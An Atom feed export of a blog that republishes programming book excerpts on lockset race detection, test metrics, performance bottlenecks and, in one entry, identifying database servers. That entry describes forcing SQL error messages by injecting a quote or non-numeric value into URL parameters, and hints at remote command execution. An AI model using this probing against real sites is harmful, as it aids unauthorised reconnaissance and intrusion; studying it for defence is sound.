<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-7574002992445333926</id><updated>2011-11-27T16:31:00.271-08:00</updated><title type='text'>Programming Documents</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://yoursubtitle.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://yoursubtitle.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default?start-index=101&amp;max-results=100'/><author><name>rong889</name><uri>http://www.blogger.com/profile/06593146008221514057</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>1300</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-7574002992445333926.post-4293856798781832428</id><published>2009-11-13T07:50:00.047-08:00</published><updated>2009-11-13T07:50:48.289-08:00</updated><title type='text'>19.6 Lockset Analysis</title><content type='html'>&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;tr&gt;&lt;td&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;td align="right"&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;&lt;br&gt;&lt;div class="chapter"&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="section"&gt;&lt;br /&gt;&lt;h2 class="first-section-title"&gt;&lt;br /&gt;&lt;span class="section-titlelabel"&gt;19.6 &lt;/span&gt;Lockset Analysis&lt;/h2&gt;&lt;br /&gt;&lt;p class="first-para"&gt;Data races are hard to reveal with testing, due to nondeterministic interleaving of threads in a concurrent program. Statically exploring the execution space is computationally expensive, and suffers from the approximated model of computation, as discussed in Chapter 8. Dynamic analysis can greatly amplify the sensitivity of testing to detect potential data races, avoiding the pessimistic inaccuracy of finite state verification while reducing the optimistic inaccuracy of testing.&lt;/p&gt;&lt;br /&gt;&lt;p class="para"&gt;Data races are commonly prevented by imposing a locking discipline, such as the rule &lt;i class="emphasis"&gt;every variable shared between threads must be protected by a mutual exclusion lock&lt;/i&gt;. Dynamic lockset analysis reveals potential data races by detecting violation of the locking discipline.&lt;/p&gt;&lt;br /&gt;&lt;p class="para"&gt;Lockset analysis identifies the set of mutual exclusion locks held by threads when accessing each shared variable. Initially, each shared variable is associated with all available locks. When a thread accesses a shared variable &lt;i class="emphasis"&gt;v&lt;/i&gt;, lockset analysis intersects the current set of candidate locks for &lt;i class="emphasis"&gt;v&lt;/i&gt; with the locks held by that thread. The set of candidate locks that remains after executing a set of test cases is the set of locks that were always held by threads accessing that variable. An empty set of locks for a shared variable &lt;i class="emphasis"&gt;v&lt;/i&gt; indicates that no lock consistently protects &lt;i class="emphasis"&gt;v&lt;/i&gt;.&lt;/p&gt;&lt;br /&gt;&lt;p class="para"&gt;&lt;br /&gt;The analysis of the two threads in Figure 19.4 starts with two locks associated with variable x. When thread A locks lck1 to access x, the lockset of x is intersected with the locks hold by A. When thread B locks lck2 to access x, the intersection of the lockset of x with the current set of locks becomes empty, indicating that no locks consistently protect x.&lt;/p&gt;&lt;br /&gt;&lt;div class="miscfigure"&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="miscfigure-informaltable"&gt;&lt;br /&gt;&lt;table linktabletoexcel="yes" id="nr-N61" border="1"&gt;&lt;br /&gt; Open table as spreadsheet&lt;br /&gt;&lt;thead&gt;&lt;br /&gt;&lt;tr valign="top"&gt;&lt;br /&gt;&lt;th class="th" scope="col" align="left"&gt;&lt;br /&gt;&lt;p class="table-para"&gt;Thread&lt;/p&gt;&lt;br /&gt;&lt;/th&gt;&lt;th class="th" scope="col" align="left"&gt;&lt;br /&gt;&lt;p class="table-para"&gt;Program trace&lt;/p&gt;&lt;br /&gt;&lt;/th&gt;&lt;th class="th" scope="col" align="left"&gt;&lt;br /&gt;&lt;p class="table-para"&gt;locks held&lt;/p&gt;&lt;br /&gt;&lt;/th&gt;&lt;th class="th" scope="col" align="left"&gt;&lt;br /&gt;&lt;p class="table-para"&gt;lockset (x)&lt;/p&gt;&lt;br /&gt;&lt;/th&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/thead&gt;&lt;br /&gt;&lt;tbody&gt;&lt;br /&gt;&lt;tr valign="top"&gt;&lt;br /&gt;&lt;td class="td" align="left"&gt;&lt;br /&gt;&lt;p class="table-para"&gt;thread A&lt;/p&gt;&lt;br /&gt;&lt;/td&gt;&lt;td class="td" align="left"&gt;&lt;br /&gt;&lt;p class="table-para"&gt;lock(lck1)&lt;br style="line-height:1"&gt;x=x+1;&lt;br style="line-height:1"&gt;unlock(lck1)&lt;/p&gt;&lt;br /&gt;&lt;/td&gt;&lt;td class="td" align="left"&gt;&lt;br /&gt;&lt;p class="table-para"&gt;{ }&lt;br style="line-height:1"&gt;{lck1}&lt;/p&gt;&lt;br /&gt;&lt;/td&gt;&lt;td class="td" align="left"&gt;&lt;br /&gt;&lt;p class="table-para"&gt;{lck1, lck2}&lt;br style="line-height:1"&gt;{lck1}&lt;/p&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr valign="top"&gt;&lt;br /&gt;&lt;td class="td" align="left"&gt;&lt;br /&gt;&lt;p class="table-para"&gt;thread B&lt;/p&gt;&lt;br /&gt;&lt;/td&gt;&lt;td class="td" align="left"&gt;&lt;br /&gt;&lt;p class="table-para"&gt;lock(lck2)&lt;br style="line-height:1"&gt;x=x+1;&lt;br style="line-height:1"&gt;unlock(lck2)&lt;/p&gt;&lt;br /&gt;&lt;/td&gt;&lt;td class="td" align="left"&gt;&lt;br /&gt;&lt;p class="table-para"&gt;{ }&lt;br style="line-height:1"&gt;{lck2}&lt;br style="line-height:1"&gt;{ }&lt;/p&gt;&lt;br /&gt;&lt;/td&gt;&lt;td class="td" align="left"&gt;&lt;br /&gt;&lt;p class="table-para"&gt;{ }&lt;/p&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/tbody&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br style="line-height: 1"&gt;&lt;br /&gt;&lt;span class="miscfigure-title"&gt;&lt;span class="figure-titlelabel"&gt;Figure 19.4: &lt;/span&gt;Threads accessing the same shared variable with different locks. (Adapted from Savage et al. [SBN&lt;sup&gt;+&lt;/sup&gt;97])&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;p class="para"&gt;This simple locking discipline is violated by some common programming practices: Shared variables are frequently initialized without holding a lock; shared variables written only during initialization can be safely accessed without locks; and multiple readers can be allowed in mutual exclusion with single writers. Lockset analysis can be extended to accommodate these idioms.&lt;/p&gt;&lt;br /&gt;&lt;p class="para"&gt;Initialization can be handled by delaying analysis till after initialization. There is no easy way of knowing when initialization is complete, but we can consider the initialization completed when the variable is accessed by a second thread.&lt;/p&gt;&lt;br /&gt;&lt;p class="para"&gt;Safe simultaneous reads of unprotected shared variables can also be handled very simply by enabling lockset violations only when the variable is written by more than one thread. Figure 19.5 shows the state transition diagram that enables lockset analysis and determines race reports. The initial &lt;i class="emphasis"&gt;virgin&lt;/i&gt; state indicates that the variable has not been referenced yet. The first access moves the variable to the &lt;i class="emphasis"&gt;exclusive&lt;/i&gt; state. Additional accesses by the same thread do not modify the variable state, since they are considered part of the initialization procedure. Accesses by other threads move to states &lt;i class="emphasis"&gt;shared&lt;/i&gt; and &lt;i class="emphasis"&gt;shared-modified&lt;/i&gt; that record the type of access. The variable lockset is updated in both &lt;i class="emphasis"&gt;shared&lt;/i&gt; and &lt;i class="emphasis"&gt;shared-modified&lt;/i&gt; states, but violations of the policy are reported only if they occur in state &lt;i class="emphasis"&gt;shared-modified&lt;/i&gt;. In this way, read-only concurrent accesses do not produce warnings.&lt;/p&gt;&lt;br /&gt;&lt;div class="figure"&gt;&lt;br /&gt;&lt;span class="figuremediaobject"&gt;&lt;/span&gt;&lt;br /&gt;&lt;br style="line-height: 1"&gt;&lt;br /&gt;&lt;span class="figure-title"&gt;&lt;span class="figure-titlelabel"&gt;Figure 19.5: &lt;/span&gt;The state transition diagram for lockset analysis with multiple read accesses.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;p class="last-para"&gt;To allow multiple readers to access a shared variable and still report writers' data races, we can simply distinguish between the set of locks held in all accesses from the set of locks held in write accesses.&lt;/p&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/DIV&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;tr&gt;&lt;td&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;td align="right"&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7574002992445333926-4293856798781832428?l=yoursubtitle.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yoursubtitle.blogspot.com/feeds/4293856798781832428/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/196-lockset-analysis.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/4293856798781832428'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/4293856798781832428'/><link rel='alternate' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/196-lockset-analysis.html' title='19.6 Lockset Analysis'/><author><name>rong889</name><uri>http://www.blogger.com/profile/06593146008221514057</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7574002992445333926.post-1933499370185506980</id><published>2009-11-13T07:50:00.045-08:00</published><updated>2009-11-13T07:50:46.420-08:00</updated><title type='text'>Tests Passing; Solution Doesn't Work</title><content type='html'>&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;tr&gt;&lt;td&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;td align="right"&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;&lt;br&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;TR&gt;&lt;TD valign="top"&gt;&lt;br /&gt;&lt;h3 id="631532-999" class="docSection1Title"&gt;Tests Passing; Solution Doesn't Work&lt;/H3&gt;&lt;p class="docText"&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="docText"&gt;One of the more frustrating project situations is to find that tests are reported as passing but the solution under the test still doesn't work for observers outside the test team. In these cases, you want to identify why the tests do not seem to find the same issues that other users do. Figures 9.159.18 are examples of this case.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;h4 id="title-IDAYHSJD" class="docSection2Title"&gt;High Bug Find Rate&lt;/H4&gt;&lt;br /&gt;&lt;p class="docText"&gt;Frequently you see a high test pass rate but still see a large incoming bug rate (or worse, customers or beta users are reporting lots of bugs that testing seems to be missing).&lt;/p&gt;&lt;br /&gt;&lt;p class="docText"&gt;This can occur for several reasons:&lt;/P&gt;&lt;br /&gt;&lt;UL&gt;&lt;LI&gt;&lt;p class="docList"&gt;The tests might be too gentle for this stage of the solution. In early iterations, gentle tests are good, but as the solution matures, tests should exercise broader scenarios and integrations. These tests might be missing.&lt;/p&gt;&lt;/LI&gt;&lt;LI&gt;&lt;p class="docList"&gt;Tests might be stale or be testing the wrong functionality.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p class="docList"&gt;It might be time to switch test techniques. (See Chapter 7.)&lt;/P&gt;&lt;/LI&gt;&lt;/ul&gt;&lt;br /&gt;&lt;p class="docText"&gt;Consider Figures 9.15, 9.16, and 9.17.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;/p&gt;&lt;center&gt;&lt;br /&gt;&lt;br /&gt;&lt;h5 class="docFigureTitle"&gt;Figure 9.15. &lt;/H5&gt;&lt;br /&gt;&lt;h5&gt;&lt;/h5&gt;&lt;h5&gt;&lt;p class="docText"&gt;On the Quality Indicators chart, the test pass rate is high, but active bugs are also high.&lt;/P&gt;&lt;/H5&gt;&lt;/H5&gt;&lt;br /&gt;&lt;p class="docText"&gt;&lt;br /&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/center&gt;&lt;/P&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;center&gt;&lt;br /&gt;&lt;br /&gt;&lt;h5 class="docFigureTitle"&gt;Figure 9.16. &lt;/h5&gt;&lt;br /&gt;&lt;h5&gt;&lt;/h5&gt;&lt;h5&gt;&lt;p class="docText"&gt;Correspondingly, on the Bug Rates chart, active bugs are high because find rate stays high.&lt;/p&gt;&lt;/h5&gt;&lt;/h5&gt;&lt;br /&gt;&lt;p class="docText"&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/center&gt;&lt;/p&gt;&lt;br&gt;&lt;br /&gt;&lt;P&gt;&lt;/P&gt;&lt;center&gt;&lt;br /&gt;&lt;br /&gt;&lt;h5 class="docFigureTitle"&gt;Figure 9.17. &lt;/h5&gt;&lt;br /&gt;&lt;H5&gt;&lt;/H5&gt;&lt;H5&gt;&lt;p class="docText"&gt;Tests aren't finding the bugs. On this report, many of the bugs found have no corresponding test. This might be a sign that testing is looking elsewhere. And, if you are expecting regression testing to prevent their undiscovered recurrence, you will need regression tests that you don't have yet.&lt;/p&gt;&lt;/H5&gt;&lt;/h5&gt;&lt;p class="docText"&gt;&lt;/p&gt;&lt;div class="v1"&gt;[View full size image]&lt;/div&gt;&lt;/p&gt;&lt;br /&gt;&lt;/center&gt;&lt;/p&gt;&lt;BR&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h4 id="title-IDAWMSJD" class="docSection2Title"&gt;Tests Are Stale&lt;/H4&gt;&lt;br /&gt;&lt;p class="docText"&gt;Tests do not necessarily evolve at the same rate as the code under test. This risk is present especially when tests are heavily automated. In this situation, you see high test pass rates with ongoing code churn and diminishing code coverage (see Figure 9.18).&lt;/P&gt;&lt;br /&gt;&lt;P&gt;&lt;/P&gt;&lt;center&gt;&lt;br /&gt;&lt;br /&gt;&lt;h5 class="docFigureTitle"&gt;Figure 9.18. &lt;/H5&gt;&lt;br /&gt;&lt;H5&gt;&lt;/H5&gt;&lt;h5&gt;&lt;p class="docText"&gt;This Quality Indicators chart shows a high rate of code churn and a low rate of code coverage from testing, yet test pass rates remain high. This suggests that the tests being run are not exercising the new code. Don't be lulled by the high test pass ratethese tests are clearly not testing all the new development work.&lt;/p&gt;&lt;/h5&gt;&lt;/H5&gt;&lt;p class="docText"&gt;&lt;/p&gt;&lt;div class="v1"&gt;[View full size image]&lt;/div&gt;&lt;/P&gt;&lt;br /&gt;&lt;/center&gt;&lt;/p&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/table&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;tr&gt;&lt;td&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;td align="right"&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7574002992445333926-1933499370185506980?l=yoursubtitle.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yoursubtitle.blogspot.com/feeds/1933499370185506980/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/tests-passing-solution-doesn-work.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/1933499370185506980'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/1933499370185506980'/><link rel='alternate' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/tests-passing-solution-doesn-work.html' title='Tests Passing; Solution Doesn&amp;#39;t Work'/><author><name>rong889</name><uri>http://www.blogger.com/profile/06593146008221514057</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7574002992445333926.post-5164681491633503951</id><published>2009-11-13T07:50:00.043-08:00</published><updated>2009-11-13T07:50:44.929-08:00</updated><title type='text'>Identifying Database Servers</title><content type='html'>&lt;br /&gt;&lt;br /&gt;&lt;div class=Section1&gt;&lt;br /&gt;&lt;br /&gt;&lt;h3&gt;&lt;span lang=EN-GB style='font-size:15.0pt;font-family:Arial'&gt;Identifying&lt;br /&gt;Database Servers&lt;/span&gt;&lt;/h3&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class=doctext&gt;&lt;span lang=EN-GB&gt;Identifying database servers is even trickier&lt;br /&gt;than identifying front-end and internal application servers. Identifying&lt;br /&gt;front-end and internal application servers is easier because both communicate&lt;br /&gt;in HTTP. Their signatures work their way into various elements of HTTP, such as&lt;br /&gt;the URL, HTTP header, and cookies.&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class=doctext&gt;&lt;span lang=EN-GB&gt;In contrast, database servers communicate&lt;br /&gt;with internal application servers in SQL. The only elements of a URL that get&lt;br /&gt;passed to the database interface are the values being exchanged by means of&lt;br /&gt;various input fields and URL parameters. Thus the only way to identify back-end&lt;br /&gt;databases through URLs is to force them to generate errors that are reflected&lt;br /&gt;by the application server and end up being sent back to the Web browser.&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class=doctext&gt;Let's consider two URLs:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class=doclist style='margin-left:36.0pt;text-indent:-18.0pt'&gt;&lt;span&lt;br /&gt;style='font-size:10.0pt;font-family:Symbol'&gt;�&lt;span style='font:7.0pt "Times New Roman"'&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;http://www.example.com/public/index.php?ID=27&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class=doclist style='margin-left:36.0pt;text-indent:-18.0pt'&gt;&lt;span&lt;br /&gt;style='font-size:10.0pt;font-family:Symbol'&gt;�&lt;span style='font:7.0pt "Times New Roman"'&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;http://www.example.org/Profile.cfm?id=3&amp;amp;page=1&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class=doctext&gt;&lt;span lang=EN-GB&gt;The first URL has a PHP script, &lt;span&lt;br /&gt;class=docemphasis1&gt;index.php,&lt;/span&gt; which seems to make use of a database as&lt;br /&gt;suggested by the URL parameter &amp;quot;&lt;span class=docemphasis1&gt;ID=27.&lt;/span&gt;&amp;quot;&lt;br /&gt;The second URL is a ColdFusion application, which again seems to perform&lt;br /&gt;database queries based on the parameter &lt;span class=docemphasis1&gt;id.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class=doctext&gt;&lt;span lang=EN-GB&gt;To force the database servers to return an&lt;br /&gt;error involves tampering with the values passed to the parameters in both&lt;br /&gt;cases. For the first URL, we substitute a nonnumeric &lt;span class=docemphasis1&gt;ID&lt;/span&gt;&lt;br /&gt;value for &amp;quot;&lt;span class=docemphasis1&gt;27.&lt;/span&gt;&amp;quot; For the second URL,&lt;br /&gt;we prematurely truncate the query by replacing the value &lt;span&lt;br /&gt;class=docemphasis1&gt;3&lt;/span&gt; with a single quotation mark. &lt;/span&gt;&lt;span&lt;br /&gt;style='color:#003399'&gt;Figures 6-11&lt;/span&gt; and &lt;span&lt;br /&gt;style='color:#003399'&gt;6-12&lt;/span&gt;, respectively, show how the errors&lt;br /&gt;appear.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;h5 align=center style='text-align:center'&gt;&lt;span&lt;br /&gt;style='font-size:10.5pt;font-family:Arial'&gt;Figure 6-11. Forcing a database&lt;br /&gt;error with PHP&lt;/span&gt;&lt;/h5&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class=doctext align=center style='text-align:center'&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;h5 align=center style='text-align:center'&gt;&lt;span&lt;br /&gt;style='font-size:10.5pt;font-family:Arial'&gt;Figure 6-12. Forcing a database&lt;br /&gt;error with ColdFusion&lt;/span&gt;&lt;/h5&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class=doctext align=center style='text-align:center'&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class=doctext&gt;&lt;span lang=EN-GB&gt;We leave it to you to figure out how much&lt;br /&gt;damage is done by simply obtaining the types of information displayed in these&lt;br /&gt;error messages! &lt;span class=docemphasis1&gt;Hint:&lt;/span&gt; The ColdFusion SQL Server&lt;br /&gt;error message contains enough information to launch a URL request that possibly&lt;br /&gt;could cause remote command execution with Administrator privileges on the&lt;br /&gt;database server of the Web application.&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class=MsoNormal&gt;&lt;span lang=EN-GB&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7574002992445333926-5164681491633503951?l=yoursubtitle.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yoursubtitle.blogspot.com/feeds/5164681491633503951/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/identifying-database-servers.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/5164681491633503951'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/5164681491633503951'/><link rel='alternate' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/identifying-database-servers.html' title='Identifying Database Servers'/><author><name>rong889</name><uri>http://www.blogger.com/profile/06593146008221514057</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7574002992445333926.post-4761383668177569303</id><published>2009-11-13T07:50:00.041-08:00</published><updated>2009-11-13T07:50:43.057-08:00</updated><title type='text'>Chapter 8.  Bottlenecks</title><content type='html'>&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;tr&gt;&lt;td&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;td align="right"&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;&lt;br&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;TR&gt;&lt;TD valign="top"&gt;&lt;br /&gt;&lt;h2 id="title-IDAMUYNF" class="docChapterTitle"&gt;Chapter 8. Bottlenecks&lt;/H2&gt;&lt;br /&gt;&lt;p class="docText"&gt;You've created a killer application. You store all your data as UTF-8, you receive and process email like it was candy, your data is well filtered, and you use more external services than you can count. It's going great, your users love you, and the venture capitalists are circling. And then your application. Grinds. To. A. Halt.&lt;/p&gt;&lt;br /&gt;&lt;p class="docText"&gt;As applications grow, weak spots reveal themselves. Techniques that worked for 10 requests a second start to fail for 100 requests a second. Databases with 10,000 rows work fine but start to choke when they reach 100,000 or 1,000,000. In an ideal world, we would find and solve all of these problems before they happen in production, but there's always a chance we'll miss something.&lt;/p&gt;&lt;br /&gt;&lt;p class="docText"&gt;In this chapter we'll look at techniques for identifying &lt;br /&gt; and fixing bottlenecks &lt;br /&gt; in our architecture, both before they happen and when they start to bog our systems down. We'll talk about ways to increase the performance we can get out of our existing hardware so we're making the most of what we have, before we move on to talking about scaling in the next chapter.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/table&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;tr&gt;&lt;td&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;td align="right"&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7574002992445333926-4761383668177569303?l=yoursubtitle.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yoursubtitle.blogspot.com/feeds/4761383668177569303/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/chapter-8-bottlenecks.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/4761383668177569303'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/4761383668177569303'/><link rel='alternate' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/chapter-8-bottlenecks.html' title='Chapter 8.  Bottlenecks'/><author><name>rong889</name><uri>http://www.blogger.com/profile/06593146008221514057</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7574002992445333926.post-7333832843740874384</id><published>2009-11-13T07:50:00.039-08:00</published><updated>2009-11-13T07:50:41.575-08:00</updated><title type='text'>Have We Tested the Changes?</title><content type='html'>&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;tr&gt;&lt;td&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;td align="right"&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;&lt;br&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;TR&gt;&lt;TD valign="top"&gt;&lt;br /&gt;&lt;h3 